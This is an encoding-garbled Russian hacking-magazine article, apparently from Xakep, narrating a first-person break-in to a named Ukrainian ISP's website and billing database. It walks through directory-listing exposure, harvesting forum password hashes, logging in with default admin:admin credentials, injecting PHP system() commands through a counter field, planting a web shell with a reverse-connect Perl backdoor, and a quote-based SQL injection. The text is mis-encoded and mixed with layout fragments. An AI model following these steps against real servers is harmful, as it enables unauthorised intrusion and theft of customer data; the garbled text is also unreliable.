çàáèòü. Ëàäíî, ïîðà âåðíóòüñÿ ê âåáó. Ïåðåä òåì, êàê êîâûðÿòü ÷àò ñ ôîðóìîì,
íåïëîõî áûëî áû çàãëÿíóòü â ãîñòåâóþ. Îòçûâîâ áûëî íåìíîãî, â îñíîâíîì îò
àäìèíà, êîòîðûé âîñõèùàëñÿ ñâîèì ÷óäåñíûì ñàéòîì :). Ìîå âíèìàíèå ïðèâ-
ëåêëà àäðåñíàÿ ñòðîêà â áðàóçåðå index.php?page=gb/guestbook.php. Ñ âèäó íà-
ïîìèíàåò ëþáèìûé âñåìè including. Ïîïðîáîâàâ ïîäñòàâèòü â ïàðàìåòð page
íåçàáâåííóþ ñòðîêó ../../../../etc/passwd,  ïîëó÷èë ñîîáùåíèå î òîì, ÷òî â ññûëêå
ïðèñóòñòâóþò íåäîïóñòèìûå ñèìâîëû. Â èòîãå âûÿñíèëîñü, ÷òî ñêðèïò æåñòêî
êîíòðîëèðîâàë âõîæäåíèå «òî÷êè» è «ñëýøà» â èìÿ ôàéëà, à ýòî çíà÷èëî, ÷òî
îò èíêëóäà ñöåíàðèé áûë çàùèùåí íàäåæíî. Ìåæäó òåì çàìå÷ó, ÷òî â ýòîé èñ-
òîðèè òàêèõ ñèòóàöèé áóäåò ìíîãî, êîãäà, êàçàëîñü áû, óæå íàéäåí èçâåñòíûé
áàã è åãî ðåàëèçàöèÿ, íî íà ñàìîì äåëå âñå íàìíîãî ñëîæíåå, è, ÷òîáû ðåøèòü
çàäà÷ó, íóæíî ïîäîéòè ê íåé íåñòàíäàðòíî, íå òàê, êàê îáû÷íî. À òåïåðü ïðèñ-
òóïèì ê êîâûðÿíèþ ÷àòà. Çàéäÿ ïî ëèíêó â ÷àò, ÿ ñðàçó æå óçíàë â íåì äîâîëü-
íî ïîïóëÿðíûé äâèæîê Sp-Chat, êîòîðûå ìîëîäûå web-ìàñòåðû ÷àñòî èñïîëü-
çóþò â ñâîèõ ïðîåêòàõ. Äîâîëüíî ñòðàííî, âåäü â ïèñüìå ÷åë ñêàçàë, ÷òî òåõî-
áñëóæèâàíèå ó íèõ íåõèëîå, è ñïåöîâ íå ìåíÿþò. Õì, ìîæåò ïîä «òåõîáñëóæè-
âàíèåì» èìåëèñü â âèäó íå íàâîðî÷åííûå web-ìàñòåðû, à ïðîôåññèîíàëüíûå
òåõíè÷êè ñ ÂÎ è êðàñíûìè äèïëîìàìè :). Õîòÿ, ÷åãî ãðåõà òàèòü, â îäíî âðåìÿ
ÿ è ñàì èñïîëüçîâàë Sp-Chat íà îäíîì èç ñâîèõ ïðîåêòîâ, è ïîýòîìó îò÷åòëèâî
ïîìíèë, ÷òî ïàðîëè þçåðîâ ìîæíî áûëî ïîäñìîòðåòü â îäíîì èç ôàéëîâ. ß, êî-
íå÷íî, íå ïîìíèë, áûëè ëè îíè â plain òåêñòå èëè íåò, íî çíàë íàâåðíÿêà, ÷òî
äîñòóï ê íèì ïîëó÷èòü âîçìîæíî. À åñëè â ÷àòå òóñóåòñÿ ñàì àäìèíèñòðàòîð, òî
ìîæíî çàïîëó÷èòü çàâåòíûé ëîãèí:ïàðîëü, ïðàâäà, ïîêà íåÿñíî ê ÷åìó, âåäü
äîñòóï ê ìàøèíå áûë íàãëóõî çàôèëüòðîâàí ôàéðâîëîì, à àäìèíñêèé èíòåð-
ôåéñ ê ñàéòó ÿ åùå íå íàøåë. Âïðî÷åì, ñåé÷àñ ýòî íå òàê óæ âàæíî. Ïåðâûì
äåëîì íóæíî áûëî äîñòàòü ñîðöû ÷àòà. ß îòïðàâèëñÿ íà www.woweb.ru, è â ðàç-
äåëå ñêðèïòû ! PHP ! ×àòû íàøåë íóæíûé íàì äâèæîê, áëàãî, âåðñèè ó
íèõ áûëè èäåíòè÷íû: 2.21. Ñêà÷àâ àðõèâ, ÿ ïðèíÿëñÿ òùàòåëüíî èçó÷àòü ñîðöû. 

Îãðîìíàÿ áàçà ñ
óÿçâèìîñòÿìè, â òîì
÷èñëå è â web-ñêðèïòàõ:
www.securityfocus.com
www.security.nnov.ru

Íà íàøåì äèñêå òû íàé-
äåøü ïîëíûå âåðñèè ïðîã-
ðàìì, îïèñàííûõ â ýòîé
ñòàòüå, à òàêæå âèäåîðî-
ëèê, èëëþñòðèðóþùèé
ýòîò âçëîì.

SASHIKS HOOD

ñàéò æëîáñêîé êîíòîðû

êàêèå åùå óÿçâèìîñòè ñêðûâàåò ôîðóì?
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õèëàÿ ñòîïêà ñàéòîâ ñ îïèñàíèåì áàãîâ ê áîðäå. Â ïåðâóþ î÷åðåäü òàì ôè-
ãóðèðîâàëè ðàçíîîáðàçíûå äûðêè, êîòîðûå ïîçâîëÿëè îñóùåñòâèòü XSS. 
Íî áîëüøå ìåíÿ çàèíòåðåñîâàëà âîçìîæíîñòü ðàñêðûòèÿ ïîëüçîâàòåëüñ-
êèõ äàííûõ. Ñåé÷àñ íåìíîãî ðàññêàæó îá ýòîì áàãå. Äîïóñòèì, ôîðóì óñòà-
íîâëåí â êàòàëîãå /home/public_html/pblang/. Åñëè ìû çàëîãèíèìñÿ è îáðà-
òèìñÿ ñ áðàóçåðîì ê www.example.com/pblang/sendpm.php?to=admin&subj=
you_are_mafaka&num=1&orig=/home/public_html/pblang/db/members/admin,
òî â ðåçóëüòàòå äîëæíû ïðî÷åñòü ôàéë ñ ïîëüçîâàòåëüñêèìè íàñòðîéêàìè,
ãäå áóäåò íàõîäèòüñÿ âñÿ èíôîðìàöèÿ îá ýòîì þçåðå. Ñàìûå ñëàäêèå ñâå-
äåíèÿ ëåæàò â ïåðâûõ íåñêîëüêèõ ñòðîêàõ:

$userid="1";
$password="òóò áóäåò MD5 õýø";
$username="Cool_Admin";

Òåïåðü ìíå îñòàâàëîñü ëèøü ñîñòàâèòü ïîäîáíûé ëèíê è ñêîðìèòü åãî áðà-
óçåðó, ÷òîáû â îòâåò ïîëó÷èòü äàííûå àäìèíèñòðàòîðà ñ íèêîì mayurev.
Íî ìåíÿ ïîñòèã îáëîì � âìåñòî îæèäàåìîé èíôû ìåíÿ ïðîñòî ïåðåáðî-
ñèëî â ôîðìó äëÿ îòïðàâêè PM. Çíà÷èò, íóæíî áûëî èñêàòü äðóãîé ïóòü. 
Íà íåêîòîðîå âðåìÿ ÿ çàäóìàëñÿ, ÷òî ìîæåò ìíå ïîìî÷ü ïðîäâèíóòüñÿ
äàëüøå. Ïðîõîäÿ âåñü ïóòü îò çàõîäà íà ñàéò äî òåêóùåãî ìîìåíòà, ÿ âñïî-
ìèíàë äåòàëè. Âñïîìíèâ, ÷òî, êîâûðÿÿ ÷àò, ÿ ìîã ïðîñìàòðèâàòü ñîäåðæè-
ìîå åãî ïàïîê, ïðè÷åì âëîæåííûé â êàòàëîã .htaccess íå àêòèâèðîâàëñÿ è
íå ïðåïÿòñòâîâàë ïðîñìîòðó. Åñëè ñ ïîìîùüþ óÿçâèìîñòåé â ôîðóìå ÿ íå
ìîãó ÷èòàòü ïîëüçîâàòåëüñêèå ôàéëû, òî ñòîèëî ïîïðîáîâàòü ïðîñìîòðåòü
äèðåêòîðèþ ÷åðåç áðàóçåð. Â àäðåñíîé ñòðîêå ÿ äîïèñàë db/members/ è ...
óâèäåë êîíôèãè âñåõ þçåðîâ áîðäû ñ ìûëàìè è õýøàìè ïàðîëåé! Äîñòàâ
êîíôèã mayurev, ÿ çàãðóçèë åãî â MD5Inside. Çàïóñòèâ ñîôòèíó, ÿ ñòàë
æäàòü. Íî ãàäñêèé ïàðîëü íå õîòåë ðàñøèôðîâûâàòüñÿ íè â êàêóþ. Ïðîø-
ëî áîëüøå ÷åòûðåõ ÷àñîâ, à ïåðåáîð âñå ïðîäîëæàëñÿ è ïðîäîëæàëñÿ. 
ß ðåøèë íå æäàòü îêîí÷àíèÿ áðóòôîðñà, à ïðîäâèãàòüñÿ äàëüøå, âåäü, åñ-
ëè ÷òî, ìíå áûëî êóäà îòñòóïàòü � ó ìåíÿ áûëà áàçà ñ ôîðóìà.

[infiltration] Êàê òû óæå ïîíÿë, â õîäå èññëåäîâàíèÿ ñåðâåðà ÿ îáíàðó-
æèë âîçìîæíîñòü ïðîñìîòðà ñîäåðæèìîãî êàòàëîãîâ web-ñåðâåðà.
Âïðî÷åì, ýòî ïîëó÷àëîñü íå âñåãäà, íî äàæå â òàêîì ñëó÷àå ïðîñìîòð
áëîêèðîâàëñÿ íå apache, à web-ñêðèïòîì, êîòîðûé âõîäèë â êîìïëåêò
êàêîãî-íèáóäü ïðîåêòà. Íàïðèìåð, òà æå áîðäà íå ïîçâîëÿëà ìíå øàñ-
òàòü ïî âñåì ïàïêàì, âûäàâàÿ Nice try bozo! :).
È ÿ âíîâü âåðíóëñÿ íà ãëàâíóþ ñòðàíèöó . Àäðåñ åå âûãëÿäåë òàê:
www.visp.com.ua/site/3/index.php. Òåïåðü, çíàÿ, ÷òî âîçìîæíî ÷èòàòü ïðàêòè-
÷åñêè ëþáîé êàòàëîã â DOCUMENT_ROOT, ÿ ñìåëî èçìåíèë ñîäåðæàíèå àä-
ðåñíîé ñòðîêè íà www.visp.com.ua/site. Ïåðåäî ìíîé âûðèñîâàëàñü äîâîëüíî
ëþáîïûòíàÿ êàðòèíà:
â ïàïêå ëåæàëè  äâå íåèçâåäàííûå ïàïêè è íåñêîëüêî ãèôîê: /4 è /5. 

Â ïàïêå /4 ëåæàë êàêîé-òî íåáîëüøîé ñàéò, è ÷òî-òî â íåì ìíå ïîêàçàëîñü
î÷åíü çíàêîìûì, îí èìåë ÷òî-òî ñõîæåå ñ index'îì V.I.S.T'a. È òîëüêî ïå-
ðåéäÿ â /5, ÿ âñå ïîíÿë, ïîòîìó ÷òî â âåðõóøêå ñòðàíèöû êðàñîâàëàñü íàä-
ïèñü: «Àâòîìàòè÷åñêàÿ ñèñòåìà óïðàâëåíèÿ ñàéòîì «PHP Zener». Ïðè÷åì
ñòðóêòóðà ñàéòà áûëà êàê äâå êàïëè âîäû ïîõîæà íà ïðåäûäóùóþ. Âûâîä
íàïðàøèâàëñÿ ñàì ñîáîé � âî âñåõ òðåõ ïàïêàõ (âêëþ÷àÿ ñàì ñàéò ïðî-
âàéäåðà) ëåæèò îäíà è òà æå CMS. Äà, äåéñòâèòåëüíî, ïðîâàéäåðñêèé
ñàéò áûë ïîñòðîåí íà ýòîé ñèñòåìå, î ÷åì ïðàâäèâî ñâèäåòåëüñòâîâàëî
ëîãî Powered by PHP Zener íà ãëàâíîé ñòðàíè÷êå ó ISP. Òàê, òåïåðü íóæ-
íî íàðûòü ñîðñû ýòîé ÖÌÑ, ÷òîáû ïðîäîëæèòü êîâûðÿòü ñàéò. Íà ñàéòå
ïðîèçâîäèòåëÿ ÿ íàøåë 300-êèëîáàéòíûé àðõèâ ñ ñîðöàìè ñèñòåìû.
Äàâàé ðàçáåðåìñÿ, çà÷åì ìíå ïîíàäîáèëèñü èñõîäíèêè. Êàê â ëþáîé ñèñòå-
ìå óïðàâëåíèÿ, â ZENER PHP åñòü àäìèíèñòðàòîðñêèé èíòåðôåéñ. Êðîìå òî-
ãî, áîëüøèíñòâî áåñïëàòíûõ ñêðèïòîâ èìåþò ñòàíäàðòíûå, çàäàííûå ïî
óìîë÷àíèþ êîìáèíàöèè «ëîãèí:ïàðîëü». Â èñõîäíèêàõ ÿ õîòåë íàéòè èìåííî
äåôîëòíûé àêêàóíò, äëÿ òîãî, ÷òîáû ïîòîì ïîïðîáîâàòü çàëîãèíèòüñÿ â CMS.
Ðàçàðõèâèðîâàâ ñîðöû, ÿ áåãëî íà÷àë ïðîñìàòðèâàòü ïàïêè ñî ñêðèïòàìè.
Âíèìàíèå ñðàçó æå ïðèâëåê ôàéë userslist.php. Äà, òàê ÿ è äóìàë � èìåí-
íî â íåì è íàõîäèëèñü äâå ñòàíäàðòíûå ó÷åòíûå çàïèñè admin è editor. 
Õîòÿ âìåñòî ïàðîëåé â ÷èñòîì âèäå òàì ëåæàëè óæå ïîðÿäêîì ïîäíàäîåâ-
øèå õýøè, íî ýòî íå áûëî òàêîé óæå òðàãåäèåé, òàê êàê íå ñëîæíî áûëî äî-
ãàäàòüñÿ, êàêèå ïàðîëè ñòîÿëè ïî óìîë÷àíèþ ê ýòèì ó÷åòíûì çàïèñÿì :).
Âåðíóâøèñü íà ñàéò ñ CMS â ïàïêó /5, ÿ çàëîãèíèëñÿ ïîä admin:admin, 
è ïîä ñïèñêîì ðàçäåëîâ â ëåâîé ÷àñòè ìåíþ ïîÿâèëàñü ññûëêà íà àäìèíñ-
êèé èíòåðôåéñ! Òåïåðü ÿ àäìèí, äà çäðàâñòâóåò Ôðàíöèÿ! :)

[àäìèíèñòðàòèâíûå ïðîáëåìû] Â öåíòðå àäìèíèñòðèðîâàíèÿ ìåíÿ
ïðåæäå âñåãî çàèíòåðåñîâàë ðàçäåë «Ôàéëîâûé àðõèâ». Êàê áûëî íàïèñà-
íî â õýëïå, òóò ìîæíî áûëî ñ ëåãêîñòüþ ñîçäàòü ãðóïïó ôàéëîâ è çàãðó-
æàòü/óäàëÿòü èç íåå èíôó. Âïðî÷åì, âñå îáñòîÿëî íåìíîãî ïî-äðóãîìó.
Çàãðóçèòü ôàéë ó ìåíÿ íå ïîëó÷àëîñü, è ïðè÷èíà êðûëàñü íå ñòîëüêî 
â êðèâûõ ðóêàõ, ñêîëüêî â ñïåöèôè÷åñêîé ñòðóêòóðå CMS. Òî åñòü «çàêà-
÷àòü» ôàéë íà ñåðâåð áûëî íåëüçÿ, ìîæíî ïðîñòî èç ýòîãî ìåíþ ñäåëàòü
íà íåãî ëèíê, â òî âðåìÿ êàê ñàì ôàéë äîëæåí íàõîäèòüñÿ íà ëîêàëüíîé
ìàøèíå â ïàïêå download. Åñëè æå èíôà íàõîäèòñÿ íà óäàëåííîì õîñòå, òî
íà íåå ïðîñòî ñîçäàåòñÿ ïðÿìàÿ ññûëêà. Ïîëó÷èâ îáëîì ñ çàëèâêîé, ÿ ïå-
ðåøåë â ðàçäåë «ôàéëîâûé ìåíåäæåð», è òóò íåîæèäàííî ñêðèïò çàðóãàë-
ñÿ íà îòñóòñòâèå êàêîãî-òî êîíôèãóðàöèîííîãî ôàéëà. Ëèáî ýòî áûëî ñäå-
ëàíî íàìåðåííî, ëèáî web-ìàñòåðû ïðîôåññèîíàëüíî êóðÿò áàìáóê :).
Òàê êàê ðàáîòàòü ñ ôàéëàìè ÿ íå èìåë âîçìîæíîñòè, ÿ íà÷àë èñêàòü, êóäà
áû ìîæíî áûëî âñòàâèòü ñâîé php-êîä. Êðîìå òîãî, ðåäàêòèðîâàòü ÿ ìîã íå
âñå ðàçäåëû èç öåíòðà àäìèíèñòðèðîâàíèÿ, ÷òî áûëî äîâîëüíî ñòðàííî (ê
ïðèìåðó, åñëè ÿ ïûòàëñÿ èçìåíèòü âíåøíèé âèä ãëàâíîé ñòðàíèöû, òî èç-
ìåíåíèÿ ïîïðîñòó íå ñîõðàíÿëèñü � êàê áóäòî ÿ áûë íåïðèâèëåãèðîâàíûì
ïîëüçîâàòåëåì). Âñå ýòè îáñòîÿòåëüñòâà çàñòàâèëè ìåíÿ èñêàòü íåñòàíäà-

ÁÅÑÏËÀÒÍÛÉ ÑÑÛÐ
Êàê òû âèäèøü, ñàéò ISP ñîñòîÿë
ïðàêòè÷åñêè ïîëíîñòüþ èç ôðèâàð-
íûõ ñêðèïòîâ è áûë ïîñòðîåí íà îñ-
íîâå íåáîëüøîé áåñïëàòíîé CMS,
÷òî îò ÷àñòè åãî è ïîãóáèëî. Âñïîì-
íè, áåñïëàòíûé ñûð áûâàåò òîëüêî 
â ìûøåëîâêå. Ôðèâàðíûå ñêðèïòû

òåì è õîðîøè, ÷òî òû âñåãäà ìîæåøü
ñêà÷àòü èõ è, ïðè æåëàíèè, ðàçîá-
ðàòüñÿ â ñòðóêòóðå ñöåíàðèåâ. Ïîý-
òîìó åñëè òû óâèäåë êàêîé-íèáóäü
ïîïóëÿðíûé äâèæîê íà ñàéòå, òî
ñìåëî èùè â èíòåðíåòå àðõèâ ñ åãî
èñõîäíèêîì è ïðèíèìàéñÿ çà èçó÷å-
íèå. Ìîæíî òàêæå îáðàòèòüñÿ ê ïîð-

òàëàì ïî êîìïüþòåðíîé áåçîïàñíîñ-
òè, ãäå, âåðîÿòíî, áóäåò èíôîðìàöèÿ
îá óÿçâèìîñòÿõ ïðîåêòà. Íî ãëóïîå
«ñêà÷àë ! çàïóñòèë» íå äîëæíî ñòà-
íîâèòüñÿ ïðèíöèïîì. Âåäü, åñëè ãðà-
ìîòíî íàñòðîèòü äàæå ôðèâàðíûé
ïðîåêò, òåáÿ âðÿä ëè ïîëîìàþò çëûå
õàêåðû. Èìåé ýòî â âèäó.

êàê ìíîãî þçåðîâ õîðîøèõ, íî ìåíÿ ñåãîäíÿ ÷òî-òî òÿíåò íà ïëîõèõ êîâûðÿåì ñîðñû ÷àòà
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ðòíûé âûõîä èç ñèòóàöèè. Íî ÿ ïðîäîëæèë ïîèñêè äëÿ âíåäðåíèÿ â ñàéò
ïðîèçâîëüíîãî php-êîäà. ß âûÿñíèë, ÷òî äàííûå ìîæíî áûëî âñòàâëÿòü ëè-
áî â òåëî íîâîñòè, ëèáî â òåêñò ñòàòüè. Ïðè÷åì òýãè «<» è «>» ôèëüòðîâà-
ëèñü. Íóæíî áûëî äåéñòâîâàòü äðóãèì ïóòåì. Äàâàé íà ñåêóíäó ïðèîñòàíî-
âèìñÿ è åùå ðàç âûÿñíèì, êàê âñå îáñòîÿëî. Âî-ïåðâûõ, íà ìàøèíå áûëî 
3 CMS, ïðè÷åì ê äâóì èç íèõ ÿ èìåë äîñòóï (îíè áûëè «ïóñòûøêàìè», òî
åñòü ðàáî÷èå ñàéòû íà íèõ íå êðóòèëèñü, áûë òîëüêî îñíîâíîé øàáëîí.
Òðåòüÿ CMS êàê ðàç ðàáîòàëà â êà÷åñòâå ñàéòà ISP, íî çàëîãèíèòüñÿ ïîä àä-
ìèíîì òóäà áûëî íåëüçÿ, ïîòîìó ÷òî ñàìîé ôîðìî÷êè äëÿ àóòåíòèôèêàöèè
ïðîñòî-íàïðîñòî íå áûëî. Ðåøåíî áûëî ïîïðîáîâàòü èññëåäîâàòü ñèñòåìó
óïðàâëåíèÿ ñàéòîì â ïàïêå /4. Òóäà ÿ òîæå çàëîãèíèëñÿ ïîä admin è îïÿòü
ïðîøåëñÿ ïî ðàçäåëàì � ñíîâà òà æå ñèòóàöèÿ, ÷òî è â ïðîøëîé CMS. Íî
òî÷íî ÿ çíàë, ÷òî ðàçãàäêà êðûëàñü ãäå-òî ðÿäîì, íî íå ìîã ïîíÿòü, ãäå
èìåííî. È âíîâü ÷òî-òî çàñòàâèëî ìåíÿ âåðíóòüñÿ íà ãëàâíûé ïðîâàéäåðñ-
êèé ñàéò. È òóò, ê ìîåìó óäèâëåíèþ, ïîä ìåíþ ñ ëèíêàìè íà ôîðóì, ÷àò è
ãîñòåâóþ ïîÿâèëàñü ññûëêà íà àäìèíèñòðàòîðñêèé èíòåðôåéñ! Äàâàé ðàç-
áåðåìñÿ, ïî÷åìó ýòî ïðîèçîøëî. Ñìîòðè, êîãäà ÿ ëîãèíþñü ïîä àäìèíîì, 
â ïàïêå /5 èëè /4 íà÷èíàåòñÿ íîâàÿ àäìèíñêàÿ ñåññèÿ. Êàê òû çíàåøü, îáû÷-
íî ñåññèÿ äëèòñÿ äî çàêðûòèÿ áðàóçåðà, è äåéñòâóåò îíà â ïðåäåëàõ âñåãî
äîìåíà, êîòîðûé ýòó ñåññèþ îòêðûë. À ýòî çíà÷èò, ÷òî åñëè áû ÿ çàëîãèíèë-
ñÿ â îäíîé CMS, òî àâòîìàòè÷åñêè ëîãèíèëñÿ áû ïîä òåì æå þçåðîì íà äðó-
ãèõ. Â îáû÷íîì ñîñòîÿíèè ëèíê íà ïàíåëü àäìèíèñòðèðîâàíèÿ íåäîñòóïåí,
íî êàê òîëüêî òû çàõîäèøü ïîä àäìèíèñòðàòîðîì, ññûëêà ïîÿâëÿåòñÿ. 
ß áûë íà ñòî ïðîöåíòîâ óâåðåí, ÷òî èìåííî â ýòîé CMS'êå ôàéëîâûé
ìåíåäæåð ðàáîòàåò íîðìàëüíî è áåç êîñÿêîâ. Íî êàðòèíà îêàçàëàñü íå ñà-
ìîé óòåøàþùåé � òà æå îøèáêà îá îòñóòñòâèè ôàéëà. Ïåðåéäÿ â ïóíêò
«Âíåøíèé âèä» (òàì ñîäåðæèòñÿ èíôà î òîì, êàê áóäåò îòîáðàæàòüñÿ ãëàâ-
íàÿ ñòðàíèöà), ÿ óâèäåë ôîðìî÷êè ñ ïîäïèñÿìè «áàííåð» è «ñ÷åò÷èê» (òàì
õðàíèëèñü èõ html-êîäû), ïðè÷åì â ïîëå «ñ÷åò÷èê» php-òýãè íå ôèëüòðîâà-
ëèñü, òàì íàïðÿìóþ ïîäêëþ÷àëñÿ ñöåíàðèé ñ÷åò÷èêà! Òî åñòü, äðóãèìè ñëî-
âàìè, ÿ ìîã âñòàâèòü â ýòî îêîøêî ñâîé êóñîê êîäà, è îí äîëæåí áûë âûïîë-
íèòüñÿ.ß ñêîïèðîâàë òåêñò ñ÷åò÷èêà â áëîêíîò, à íà åãî ìåñòî âñóíóë íåõèò-
ðûé ñêðèïò <?php system("id"); ?>. Ñîõðàíèâ èçìåíåíèÿ, ÿ îáíîâèë ãëàâíóþ
ñòðàíèöó (ñ÷åò÷èê íàõîäèëñÿ íà íåé), íî ðåçóëüòàòà âûïîëíåíèÿ êîìàíäû
âèäíî íå áûëî. ß áûë óæå â îäíîì øàãå îò óñïåõà, íî ìíå îñòàëîñü ðàçîá-
ðàòüñÿ, ïî÷åìó íå ïðîèñõîäèëî ñîõðàíåíèÿ èçìåíåíèé. Ìåòîäîì èñêëþ÷è-
òåëüíî íàó÷íîãî òûêà ÿ ïîïàë â ðàçäåë «óïðàâëåíèå ïîëüçîâàòåëÿìè» è
óâèäåë íåñêîëüêî ó÷åòíûõ çàïèñåé. ×åëîâåê ïÿòü èç íèõ áûëè ïðîñòûå þçå-
ðû, è ëèøü îäèí îáëàäàë ïðàâàìè àäìèíà ñàéòà � ýòî áûë òîò ñàìûé
mayurev :).ß ïðîñìîòðåë èíôó î åãî ó÷åòíîé çàïèñè: òóò áûëî î÷åíü ìíîãî
ïîëåçíûõ äàííûõ, â òîì ÷èñëå è ôîðìà äëÿ èçìåíåíèÿ ïàðîëÿ. Òî åñòü,
ãðóáî ãîâîðÿ, ÿ ìîã âíàãëóþ ïîìåíÿòü ïàðîëü mayurev'ó, çàëîãèíèòüñÿ ïîä
íèì è ñäåëàòü ñ ñàéòîì âñå ÷òî óãîäíî, íà÷èíàÿ îò êðàñèâîãî äåôåéñà, çà-
êàí÷èâàÿ âûïîëíåíèåì ñèñòåìíûõ êîìàíä ÷åðåç ôîðìî÷êó äëÿ êîäà ñ÷åò-

÷èêà è ïîëíûì äåñòðîåì ñàéòà. Ïðè÷åì íèêàêèõ îãðàíè÷åíèé ó ýòîãî
ïîëüçîâàòåëÿ, â îòëè÷èè îò þçåðà admin, íå áûëî. Âïðî÷åì, áûëî îäíî
«íî»: åñëè ÿ ïîìåíÿþ ïàðîëü, òî ñïàëþñü. Ê ñ÷àñòüþ, CMS ó íàñ áûëà, êàê
òû ïîìíèøü, íå îäíà, à öåëûõ òðè (â ïàïêàõ /3, /4, /5). Âîçìîæíî, mayurev
ñîçäàë íåñêîëüêî ó÷åòíûõ çàïèñåé â îäíîé èç ýòèõ (â êà÷åñòâå òåñòà). Òàê
è ñëó÷èëîñü � â CMS /4 áûë ñîçäàí òî÷íî òàêîé æå ïîëüçîâàòåëü mayurev
ñ íåîãðàíè÷åííûìè ïðàâàìè. Âñå! Âûõîä íàéäåí. Ìåíÿåì ìàþðåâó ïà-
ðîëü è çàõîäèì ïîä íèì â ðàçäåë «âíåøíèé âèä», ãäå â ôîðìó ñ÷åò÷èêà
âïèñûâàåì <?php system("uname -a; w ; ls -la /"); ?>. Ñîõðàíÿåì èçìåíåíèÿ, 
è òîïàåì íà ãëàâíóþ ñòðàíèöó � óðà! Ñèñòåìíàÿ êîìàíäà âûïîëíèëàñü,
è ïîêàçàëà âåðñèþ ÎÑ (ê ñëîâó, ýòî áûë ëèíóêñ ñ íåàíäåðòàëüñêèì ÿäðîì
2.2.24). Òåïåðü ñàìîå âðåìÿ íà÷àòü ñâîå âòîðæåíèå ê öåíòðó ìàøèíû.

[ïîñëåäíèå øòðèõè] Ñàìûé ïðîñòîé ïëàí äåéñòâèé ñîñòîÿë â çàã-
ðóçêå íà ñåðâåð web-øåëëà è ïîñëåäóþùåé îðãàíèçàöèåé back-connec-
t'a (âåäü âñå ïîðòû òà÷êè áûëè íàãëóõî çàêóïîðåíû ôàéðâîëîì). Ñêàçà-
íî � ñäåëàíî, çàãðóçèâ rst øåëë (óæå ñòàâøèé êëàññèêîé), ÿ çàïóñòèë íà
ñâîåé äîâåðåííîé ìàøèíå netcat íà 4000 ïîðòó.
Ðåâåðñèâíûé ïåðëîâûé áýêäîð ïîñëóøíî ïðèêîíåêòèëñÿ. Òåïåðü ó ìåíÿ áûë
äîñòóï ê ïîëíîöåííîé îáîëî÷êå. Ñëåäóþùèì ìîèì çàäàíèåì áûëî âûÿâëå-
íèå ìåñòîíàõîæäåíèÿ áèëëèíãîâîé áàçû. Ýòî áûëî äîâîëüíî ïðîñòî. 
Íà ãëàâíîé ñòðàíèöå V.I.S.P'à áûëà ññûëêà íà ñòàòèñòèêó èñïîëüçîâàíèÿ àê-
êàóíòà. Ñêðèïò ñòàòèñòèêè áûë íåõèòðûì: íóæíî áûëî ââåñòè ëîãèí è ïà-
ðîëü, ïðè÷åì ñöåíàðèé ñòðàäàë ïðîñòåéøåé SQL-èíúåêöèåé. Åñëè â êà÷åñò-
âå ïàðîëÿ ïåðåäàòü êàâû÷êó ('), ñêðèïò áåç âîïðîñîâ ïðîïóñòèò íà ñòðàíèöó 
è âûâåäåò ïîäðîáíûé îò÷åò î ñîñòîÿíèè ñ÷åòà (æàëêî, ÷òî ïàðîëü íå âûâîäèë).
Åñëè ñêðèïò âûäàåò èíôó î ñ÷åòå, çíà÷èò, îí íàïðÿìóþ ñâÿçàí ñ áèëëèíãîâîé
ñèñòåìîé. Ñöåíàðèé ñòàòèñòèêè íàçûâàëñÿ account.cgi. Ïîýòîìó ìíå îñòàâà-
ëîñü âáèòü â êîíñîëè locate account.cgi è ñäåëàòü head íà íóæíûé ôàéë

ÑÊÐÛÒÍÛÉ ÈÈÍÄÅÅÖ
Âîîáùå-òî ïî óìîë÷àíèþ èíäååö Apache
íå äîëæåí ïîêàçûâàòü ñîäåðæèìîå êàòà-
ëîãîâ. Ñïåöèàëèñòû è âîâñå ðåêîìåíäó-
åò îòêëþ÷àòü èíäåêñèðîâàíèå êàòàëîãîâ.
Åñëè òû ïàðàíîèê, òî ìîæåøü âîîáùå
óäàëèòü ìîäóëü mod_autoindex. Åñëè æå
èíäåêñàöèÿ êàòàëîãîâ âñå æå íóæíà, òî

íåîáõîäèìî ïîçàáîòèòüñÿ, ÷òîáû êîíôè-
äåíöèàëüíûå äàííûå áûëè çàùèùåíû.
Äëÿ ýòîãî ïðèäóìàíû ôàéëû .htacces
.htpasswd. Îíè ñëóæàò äëÿ ðàçãðàíè÷å-
íèÿ äîñòóïà è àóòåíòèôèêàöèè. Ïîýòîìó,
åñëè òåáå äîðîãà òâîÿ èíôà, íå ïîëå-
íèñü çàïðåòèòü âàæíûé êàòàëîã äëÿ
ïðîñìîòðà èçâíå. Íàïðèìåð, òàê:

linux_box# cat>.htaccess
Order deny,allow
Dene from all
Allow from 127.0.0.1

Ýòî çàïðåòèò êîìó-ëèáî ïðîñìàòðèâàòü
ýòó äèðåêòîðèþ, åñëè òîëüêî ïîäêëþ÷å-
íèå íå áûëî îñóùåñòâëåíî c ëîêàëõîñòà.

ôóíêöèîíàëüíàÿ CMS ZENER âñÿ ïðàâäà îá àäìèíå

óñïåøíàÿ àòàêà ñâÿòàÿ ñâÿòûõ ïðîâàéäåðà � áèëëèíãîâîé áàçû





Â ÌÀÑÑÎÂÛÕ ÈÇÄÀÍÈßÕ ÒÅÌÀ DDOS ÎÑÂÅÙÅÍÀ ÑÎ ÂÑÅÕ ÑÒÎÐÎÍ.
ÌÍÎÃÈÅ ÀÂÒÎÐÛ ÏÈØÓÒ Î DDOS-ÀÒÀÊÀÕ, ÎÁ ÈÕ ÐÅÀËÈÇÀÖÈßÕ È Î
ÏÎÑËÅÄÑÒÂÈßÕ. ÍÎ ÌÀËÎ ÊÒÎ ÇÀÄÓÌÛÂÀÅÒÑß ÏÎ ÏÎÂÎÄÓ ÂÎÏÐÎ-
ÑÀ ÇÀÙÈÒÛ ÎÒ ÏÎÄÎÁÍÛÕ ÍÀÏÀÄÅÍÈÉ. ÊÎÃÄÀ ÊÎÍÅ×ÍÛÉ ÏÎËÜÇÎ-
ÂÀÒÅËÜ ÑÀÌ ÑÒÀËÊÈÂÀÅÒÑß Ñ ÒÀÊÎÉ ÀÒÀÊÎÉ, ÒÎ, ÏÎ ÏÎÍßÒÍÛÌ
ÏÐÈ×ÈÍÀÌ, ÎÍ ÍÅ ÇÍÀÅÒ, ×ÒÎ ÄÅËÀÒÜ, È ÊÓÄÀ ÁÅÆÀÒÜ. ÍÀ ÑÀÌÎÌ
ÄÅËÅ, ÍÈÊÓÄÀ ÁÅÆÀÒÜ ÍÅ ÍÀÄÎ � ÄÎÑÒÀÒÎ×ÍÎ ÏÐÎ×ÈÒÀÒÜ ÝÒÓ
ÑÒÀÒÜÞ | Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru) 

